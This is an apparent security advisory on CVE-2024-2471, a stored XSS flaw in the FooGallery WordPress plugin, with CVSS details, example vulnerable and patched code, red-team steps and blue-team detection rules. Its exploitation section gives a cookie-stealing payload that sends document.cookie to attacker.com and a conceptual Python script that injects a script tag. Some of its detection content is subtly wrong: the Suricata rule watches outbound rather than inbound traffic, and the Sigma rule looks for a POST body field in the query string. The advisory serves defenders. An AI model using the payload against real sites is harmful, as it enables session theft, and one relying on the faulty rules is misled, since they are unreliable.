CVE-2024-2471

Executive Summary

CVE-2024-2471 is a Stored Cross-Site Scripting (XSS) vulnerability in the FooGallery plugin for WordPress, affecting all versions up to and including 2.4.14. The vulnerability resides in the image attachment fields, specifically the 'Title', 'Alt Text', 'Custom URL', 'Custom Class', and 'Override Type' fields. Due to insufficient input sanitization and output escaping, authenticated attackers with author-level access or higher can inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the maliciously crafted gallery. This is a WordPress ecosystem issue, not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The FooGallery plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files by comparing checksums against the official repository. No known supply chain compromise has been reported for this specific CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network (N) - The attack can be executed remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - Attacker needs author-level access.
• User Interaction (UI): Required (R) - A user must visit the compromised page.
• Scope (S): Changed (C) - The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited data exposure.
• Integrity (I): Low (L) - Limited ability to modify data.
• Availability (A): Low (L) - Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for widespread impact via stored XSS in a popular plugin elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS. The FooGallery plugin allows users with author-level privileges to create and manage image galleries. When adding or editing an image, the plugin provides fields for metadata such as 'Title', 'Alt Text', 'Custom URL', 'Custom Class', and 'Override Type'. The plugin fails to properly sanitize user input in these fields and does not escape the output when rendering the gallery on the front end.

An attacker can inject malicious JavaScript code into any of these fields. For example, injecting <script>alert('XSS')</script> into the 'Title' field. When the gallery is displayed on a page, the injected script executes in the context of the victim's browser. This can lead to session hijacking, defacement, or redirection to malicious sites.

The vulnerability is triggered when the foogallery shortcode or block is rendered. The plugin's template files likely output these fields without using WordPress's escaping functions like esc_attr() or esc_html().

Vulnerable vs. Patched Code

Vulnerable Code (Example from a template file):

<img src="<?php echo $image->url; ?>" alt="<?php echo $image->alt; ?>" title="<?php echo $image->title; ?>" class="<?php echo $image->custom_class; ?>" />

In this example, $image->alt, $image->title, and $image->custom_class are output directly without escaping.

Patched Code (Expected fix):

<img src="<?php echo esc_url($image->url); ?>" alt="<?php echo esc_attr($image->alt); ?>" title="<?php echo esc_attr($image->title); ?>" class="<?php echo esc_attr($image->custom_class); ?>" />

The patched code uses esc_attr() to escape attribute values and esc_url() for URLs, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress installation with FooGallery plugin version <= 2.4.14.
• An account with author-level privileges or higher.

Steps:

1. Log in to WordPress as an author.
2. Navigate to Media > Add New and upload an image.
3. Edit the image and inject malicious JavaScript into the 'Title' field. Example:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the image.
5. Create a new gallery using the FooGallery shortcode or block, including the malicious image.
6. Publish the gallery on a page or post.
7. When any user (including administrators) visits the page, the script executes, stealing their cookies.

Exploit Code (Conceptual):

import requests

# Replace with actual WordPress site and credentials
url = "http://target.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in": "..."}
data = {
    "action": "foogallery_ajax_save_image",
    "image_id": 123,
    "title": "<script>alert('XSS')</script>"
}
requests.post(url, cookies=cookies, data=data)

Blue Team

Detection:

• Monitor for unusual changes to image metadata in WordPress.
• Look for patterns like <script> tags in image title, alt, or custom fields.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.

Hunting:

• Query the WordPress database for malicious content:

  SELECT * FROM wp_postmeta WHERE meta_key LIKE '%foogallery%' AND meta_value LIKE '%<script>%';
  

• Review server access logs for requests to /wp-admin/admin-ajax.php with suspicious parameters.

Indicators of Compromise (IOCs)

• File Hashes: (None provided)
• IP Addresses: (None provided)
• Domains: (None provided)
• URL Patterns:
  • /wp-admin/upload.php?item=* (image editing page)
  • /wp-admin/admin-ajax.php with action=foogallery_ajax_save_image
• Database Entries:
  • wp_postmeta with meta_key containing foogallery and meta_value containing <script> tags.
• Log Entries:
  • HTTP requests to /wp-admin/admin-ajax.php with action=foogallery_ajax_save_image and title or alt parameters containing HTML/JavaScript.

Detection Engineering

YARA Rule

rule CVE_2024_2471_FooGallery_XSS {
    meta:
        description = "Detects stored XSS payloads in FooGallery image metadata"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2471"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $foogallery_field = /(title|alt|custom_url|custom_class|override_type)/i
    condition:
        $xss_payload and $foogallery_field
}

Sigma Rule

title: CVE-2024-2471 FooGallery Stored XSS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit stored XSS in FooGallery plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query:
            - 'action=foogallery_ajax_save_image'
        sc-status: 200
    keywords:
        - '<script>'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in image metadata (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2471 FooGallery Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=foogallery_ajax_save_image"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: If a patched version becomes available, update FooGallery immediately.
2. Disable Plugin: Temporarily deactivate FooGallery until a patch is applied.
3. Restrict Author Access: Limit the number of users with author-level privileges.
4. Web Application Firewall (WAF): Deploy WAF rules to block common XSS payloads in POST requests to admin-ajax.php.

Long-term Fix:

• The vendor must implement proper input sanitization and output escaping for all image attachment fields. Use WordPress functions like sanitize_text_field(), esc_attr(), and esc_html().

Workarounds:

• Use a security plugin like Wordfence to add an additional layer of XSS protection.
• Manually audit and sanitize any existing galleries for malicious content.

Valters IT